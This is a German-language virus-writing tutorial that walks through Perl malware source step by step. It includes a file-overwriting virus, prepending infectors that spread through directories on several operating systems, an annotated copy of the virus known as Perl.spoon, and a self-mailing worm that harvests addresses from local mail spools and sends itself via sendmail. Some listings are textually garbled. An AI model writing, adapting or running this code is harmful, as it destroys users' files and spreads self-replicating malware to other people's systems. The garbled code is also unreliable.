Perl Viren by SnakeByte [ SnakeByte@kryptocrew.de ] www.kryptocrew.de/snakebyte Da es so aussah, als ob ich Perl für einen Job lernen müsste, hab ich beschlossen, zu schauen, wie gut Perl Virenkompatibel ist :) Bis heute morgen hab ich im Web noch keinen Perlvirus gefunden, deshalb habe ich mich entschlossen ein kleines Tutorial zu dem Thema zu schreiben. Dieses Tutorial hat nahezu die gleiche Struktur wie mein Tutorial über Linux Shell Script Viren und ich bin sicher, das auch Perl Newbies ( wie ich *g* ) es verstehen werden. Bis jetzt hab ich mir den Perl Virus, den ich heute morgen fand noch nicht angesehen, weil ich von Vorne anfangen will. ( Bis jetzt hab ich nur einen lahmen Overwritter hinbekommen, aber mich entschlossen schon mit dem Tippen anzufangen, damit man meinen Schritten besser folgen kann. ) Die Viren wurden unter SuSe 7.0 Linux mit Perl 5.0005_3 getestet und liefen gut. Ich habe versucht sie zu anderen Systemen soweit kompatibel zu machen wie es mir möglich war, kann aber nicht garantieren, das sie darauf auch laufen. Ok, fangen wir mit dem Overwritter an : #!/usr/bin/perl open(File,$0); @Virus=; close(File); foreach $FileName (<*>) { open(File, ">$FileName"); print File @Virus; close (File); } Die erste Zeile ist ein Kommentar ( eingeleitet durch das # ) Es ist ein quasi-Standart, das jede Perl Datei den Pfad und Dateinamen des Perl Interpreters in der ersten Zeile stehen hat. In der zweiten Zeile öffnen wir unsere eigene Datei. Der Dateiname des gerade laufenden Skriptes ist immer in $0 gespeichert. Danach,in der dritten Zeile, laden wir den Inhalt der Datei in das Array @Virus. Jeder Wert dieses Arrays ( @Virus[1], @Virus[2] ... ) enthält nun eine Zeile unserer Datei. Da das alles ist, was wir mit der Datei machen wollen schliessen wir sie wieder. Nun starten wir eine Schleife um nach Dateien zu suchen, die wir infizieren wollen. Wir suchen im momentanen Verzeichnis ( <*> ) und die Dateinamen werden in $FileName gespeichert. Wir öffnen die Datei für Schreibzugriffe ( durch das > vor dem Dateinamen ) und schreiben unseren Virus einfach über die alte Datei. ( Mit einem >>DateiName könnten wir Daten an die Datei anhängen ) Ok, die Datei wurde durch den Virus ersetzt, also suchen wir die nächste und wiederholen die Prozedur. Ich denk mal dieses kleine Stückchen Code sollte jetzt allen klar sein ;) Ok, wir verbessern das Ganze etwas, indem wir nur noch Perl Dateien überschreiben : #!/usr/bin/perl open(File,$0); @Virus=; close(File); foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; close (File); } } } Die ersten paar Zeilen sollten vom vorherigen Beispiel bekannt sein. Danach kommt eine riesige ;) If-Abfrage. Mal sehen was sie macht. Sie filtert genau die Dateien aus, auf die wir Lese (-r) und Schreibzugriff (-w) haben, und die Dateien und keine Verzeichnisse sind. Jede dieser Kriterien muss erfüllt sein, da wir die Bedingungen mit einem && ( logischem AND ) verknüpft haben. Danach öffnen wir die Datei im Lesemodus ( diesmal kein > vor dem Dateinamen ) Wir laden die komplette Datei in das Array @Temp und schließen sie. Nun überprüfen wir, ob in der ersten ( @Temp[0] ) oder zweiten ( @Temp[1] ) Zeile das Wort perl vorkommt. ( Zwischen Groß / Kleinschreibung wird unterschieden, da ich bisher keine Methode gefunden habe, die das nicht mach :( aber ich werde weiter danach suchen *g* ) Das machen wir um zu sehen, ob die Datei eine Perl Datei ist. Es gibt noch 2 weitere Sachen die wir testen könnten. Zum einen ob die Datei ausführbar ist ( if ( -x $FileName )) aber ich glaube, das nicht jeder das executable Flag setzt und denke mal, das diese Überprüfung nicht mit Windows kompatibel ist. Der andere Check wäre mit dem Linux Kommando 'file' um zu sehen ob es eine Perl Datei ist, aber dies währe wiederum nicht Windows kompatibel. Ok, ich denke die Grundlagen sind klar. Vergesst nun diesen Overwritter Müll und lasst und mit etwas anständigem anfangen - Prepending : #!/usr/bin/perl #PerlDemo # NEW open(File,$0); @Virus=; @Virus=@Virus[0...27]; # NEW close(File); foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo")) # NEW { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; # NEW close (File); } } } } Diesmal habe ich die neuen Zeilen markiert, damit ihr auf einen Blick seht, was sich geändert hat. Die erste Änderung besteht darin, das wir nur die ersten 24 Zeilen der gerade laufenden, infizierten Datei in das Array laden. Wenn wir dies nicht machen würden, würden wir ja auch die bereits infizierte Datei mit vor die die wir infizieren hängen. Die zweite Änderung besteht darin, das wir die Originaldatei noch an die Datei hängen, so dass sie nach unserem Virus ausgeführt wird. Die neue Datei beginnt also mit dem Virus, dann eine Leerzeile, dann die alte Datei, beginnend mit dem #!/usr/bin/perl Kommentar. Der extra Check nach "PerlDemo" ist um zu verhindern, das wir eine Datei mehrmals infizieren. Normalerweise würde ich jetzt anfangen zu versuchen das Ganze zu optimieren, aber da können wir hier nicht viel machen ausser die Zeilen zusammenzuquetschen : #!/usr/bin/perl #PerlDemo open(File,$0); @Virus=; @Virus=@Virus[0...6]; close(File); foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); } } } } Dies spart nur ein paar Zeilenumbrüche ein und ist nicht sehr cool :p Ok, fügen wir unserem Virus mal ein paar neue Features hinzu, wie das infizieren verschiedener Verzeichnisse. Zuerst werden wir uns mal Downward Travelling ansehen. #!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...24]; close(File); &InfectFile; # NEW chdir('..'); # NEW &InfectFile; # NEW sub InfectFile { # NEW foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl",,i) or (@Temp[1] =~ "perl",,i)) { # NEW open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} Was ist diesmal passiert ? Die erste Änderung, die einem auffält, ist das das Suchen nach Dateien und Infizieren in einer Unterroutine geschieht, die zweimal vom Hauptprogramm aus aufgerufen wird. Eine weitere Änderung ist das chdir('..') das uns ein Verzeichnis nach unten befördert. Das dürfte unter Unix/Linux und DOS/Windows Systemen prima klappen, aber Fehler unter MacOS erzeugen, weil MacOS '::' benutzt um ein Verzeichnis nach unten zu gelangen. Traurig aber wahr, Perl ist nicht so portierbar, wie wir es gerne hätten :( Eine weitere Änderung ist in dem Check der Datei (@Temp[1]=~ "perl",,i). Das ,,i bewirkt, das die Suche nicht mehr zwischen Gross und Kleinbuchstaben unterscheidet. Nun finden wir also auch Perl Dateien, die mit #!C:\Programme\Perl\Perl.exe beginnen. Ein, nennen wir es Bug, im Virus ist natürlich, das wir das alte Verzeichnis nicht wiederherstellen. Dies ist ein anderes Problem, das durch die Inkompatibilität der Verschiedenen Betriebssysteme begründet ist. In Unix/Linux können wir den momentanen Pfad dzr $CurPath=`pwd`; ermitteln, da wir hier das externe Programm pwd aufrufen und die Ausgabe in $CurPath speichern. Dies funktioniert natürlich nicht unter Windows oder MacOS. Glücklicherweise können wir das Betriebssystem auf dem wir laufen mit der $^O Variable herausfinden, die seit Perl 5.0002 verwendet werden kann. Der folgende Code überprüft, ob wir in Dos, Windows, Linux, BSD oder einer Solaris Maschine laufen. #!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd` } # NEW if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # NEW $DotDot = '..'; # NEW if ($^O =~ "MacOS") { $DotDot = "::" } # NEW chdir($DotDot); # NEW &InfectFile; chdir($OldDir); # NEW sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} Ok, wenn das OS BSD, Linux oder Solaris ist, ermitteln wir den aktuellen Pfad mit dem pwd Commando. Unter Windows und Dos benutzen wir das Kommando cd, mit dem man normalerweise Verzeichnisse wechselt, das einem aber ohne Parameter den momentanen Pfad ausgibt. Dann setzen wir die zwei Punkte auf '..', mit denen wir in nahezu jedem Betriebssystem eine Stufe nach unten gelangen, ausser MacOS. Wenn wir unter MacOS laufen änderen wir sie um zu '::'. Vielleicht wäre es besser zwei Checks zu machen. Einen ob wir unter MacOS laufen um die Dots zu setzen und einen um zu ermitteln ob wir 'cd' verwenden können. Für alles andere benutzen wir dann einfach '..' und 'pwd' da Perl auf einigen mehr Unix/Linux Systemen läuft, als den hier aufgeführten, die allerdings alle 'pwd' unterstützen. Wenn wir aufwärts durch die Verzeichnisse laufen wollen, haben wir das gleiche Problem. Die verschiedenen Betriebssysteme haben andere Bezeichnungen für das unterste Verzeichnis. Unter Unix/Linux ist es /, Windows und Dos haben gleich ein root Verzeichnis für jeden Datenträger A:, B:, C:, D:, und soweit ich weiss gibt es auf dem Mac gar kein unterstes Verzeichnis. Mit dem folgenden Quellcode will ich aber versuchen, all diese Probleme zu meistern : #!/usr/bin/perl # Perl - Get'em'all Virus open(File,$0); @Virus=; @Virus=@Virus[0...46]; close(File); &InfectFile; if ($^0 =~ "MacOS") { chdir('::'); &InfectFile; } else { if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd`; chdir('..'); &InfectFile; chdir('C:\'); &SearchUpperDirectorys; chdir($OldDir);} else { $OldDir = `pwd`; chdir("/"); &SearchUpperDirectorys; chdir($OldDir);}} sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} sub SearchUpperDirectorys { foreach $Directory (<*>) { if ((-r $Directory) && (-w &Directory ) && (-d $Directory) { chdir ($Directory); &InfectFile; chdir ('..') }}} Ok, wenn wir auf einem Mac laufen infizieren wir das momentane und das Verzeichnis eins weiter unten. Unter Dos oder Windows infizieren wir das momentane, das eines weiter unten und starten auf Laufwerk C: die Suche nach weiteren Perl Dateien. Danach stellen wir auch das Ursprungsverzeichnis wieder her. Unter jedem anderen OS, suchen wir im momentanen Verzeichnis nach Dateien und im Root Verzeichnis ( / ) nach weiteren Verzeichnissen. Auch hier wird das Originalverzeichnis wiederhergestellt. Wow, normalerweise wollte ich ja nun die $Path Variable nach weiteren Verzeichnissen durchsuchen, aber nach soviel inkompatibilität bin ich erstmal abgeschreckt. Nun will ich mir erstmal den Virus ansehen, von dem ich vorhin gesprochen habe. AVP entdeckt ihn als Perl.spoon und er wurde geschrieben von PaddingX. I hoffe mal es ist ok für ihn, wenn ich den Virus hier vorstelle, ich weiß leider nicht wo ich ihn erreichen kann um ihn zu fragen :(. Ich habe dem Quellcode ein paar Kommentare hinzugefügt, die mit einem #S gekennzeichnet sind : #!/usr/bin/perl use File::Find; #S er benutzt ein Modul für die Suche nach Dateien, das allerdings in allen Standart Perl Paketen enthalten ist. &virus(); #S Aufruf der Virus Subroutine #S nachdem der Virus ausgeführt wurde zeigt der Dropper einen Payload ( nur in der ersten Generation ) print "\nThis program is infected by the Perl virus\n\n"; sub virus #S Anfang des Viruses { my ( $pid, $new ); #S Definition von lokalen Variabeln if( $pid = fork ) { return; } else { open( source, $0 ); #S öffnen der Virus Datei finddepth ( \&infect, '/home/chris/test' ); #S '/home/chris/test' in dem Pfad werden Dateien infiziert. sub infect { open target, "$File::Find::name"; #S Opferdatei öffnen $_ = ; #S in einen String einlesen if ( /(\#!.*perl)/ ) #S Suche nach 'perl' in der ersten Zeile um zu sehen ob es ein Perl Skript ist { $_ = ; #S zweite Zeile lesen if( $_ ne "use File::Find;\n" ) #S wenn das Script das File::Find Modul benutzt wird es nicht infiziert -> infection mark { $new = $1 . "\nuse File::Find;\n&virus();\n" . $_; #S Schreibe die ersten beiden Zeilen des Virusses in $NEW while( ) { $new = $new . $_; } #S Datei in $NEW schreiben seek( source, 0, 0 ); while( ne "sub virus\n" ) { }; #S eigene Datei nach der Virus routine durchsuchen $new = $new . "\nsub virus\n"; #S 'sub virus' in $NEW schreiben while( ) { $new = $new . $_; } #S Rest des Viruses an $NEW anhängen close target; #S Datei schließen open target, ">$File::Find::name"; #S für Schreibzugriff erneut öffnen print target $new; #S $new in die Datei schreiben } } close( target ); #S Datei schließen } close( source ); #S Virus Datei schließen exit( 0 ); #S Programm beenden } } # a Perl virus, by paddingx # 08/15/1999 Ok, wir sehen, dieser Virus ist ein Appender. Er schreibt einen Call zum Virus an den Anfang und hängt dann den Rest des Codes an die Datei. Das ist die gleiche Methode wie bei der Infektion von Com Dateien unter DOS. Die Infizierte Datei sieht dann folgendermassen aus : [ Stub : #!/usr/bin/perl use File::Find; &virus(); ] [... Original File ... ] [ .. virus procedure ..] Auch wenn es nur auf Unix Systemen läuft ( wegen dem Pfad und der fork Anweisung, die auf Mac OS, Win32, AmigaOS und RISC OS nicht existiert ) ist es trotzdem eine nettes Stück Code, weil ich denke das sich mit dieser Art der Infektion auch Entry Point Obscurity Techniken implementieren lassen, indem man die Datei nach einem Call durchsucht ( &Procedure ), diesen auf den Virus umlenkt und am Ende des Viruses die Originalprozedur wieder aufruft... Ok, hier noch ein letztes Stück code, nur um eine andere einfache Technik zu zeigen, die mit Perl machbar ist. Dies ist ein selbstmailender Perl Wurm, der Sendmail benutzt und annimmt das die Mails in /var/spool/mail/ gespeichert sind. Vielleicht will ja einer der Leute, die sich besser mit Linux auskennen, das Skript so ändern, das es den Mailordner aus der sendmail.cf ausliest ;) #!/usr/bin/perl open(File,$0); @Virus=; @Virus=@Virus[0...29]; close(File); foreach $FileName () { if ((-r $FileName) && (-f $FileName)) { open(File, "$FileName"); @test1=; close(File); @ReceiverList = grep /From:/, @test1; foreach $Receiver2 (@ReceiverList){ @Receiver = split(/:/, $Receiver2); @Addy = split(/PerlWurm"); print File "Hi@Addy[0]\n"; print File "take a look at this perl script\nand see what is possible to do\nin perl.. \n"; print File " cu soon\n\n\n"; print File @Virus; print File ".\n"; close(File); chomp(@Addy[1]); chop(@Addy[1]); $x = `sendmail @Addy[1] < PerlWurm`; }}} Ich hoffe ihr habt den kleinen Ausflug in die Perl Welt genossen. Ich jedenfalls habe es.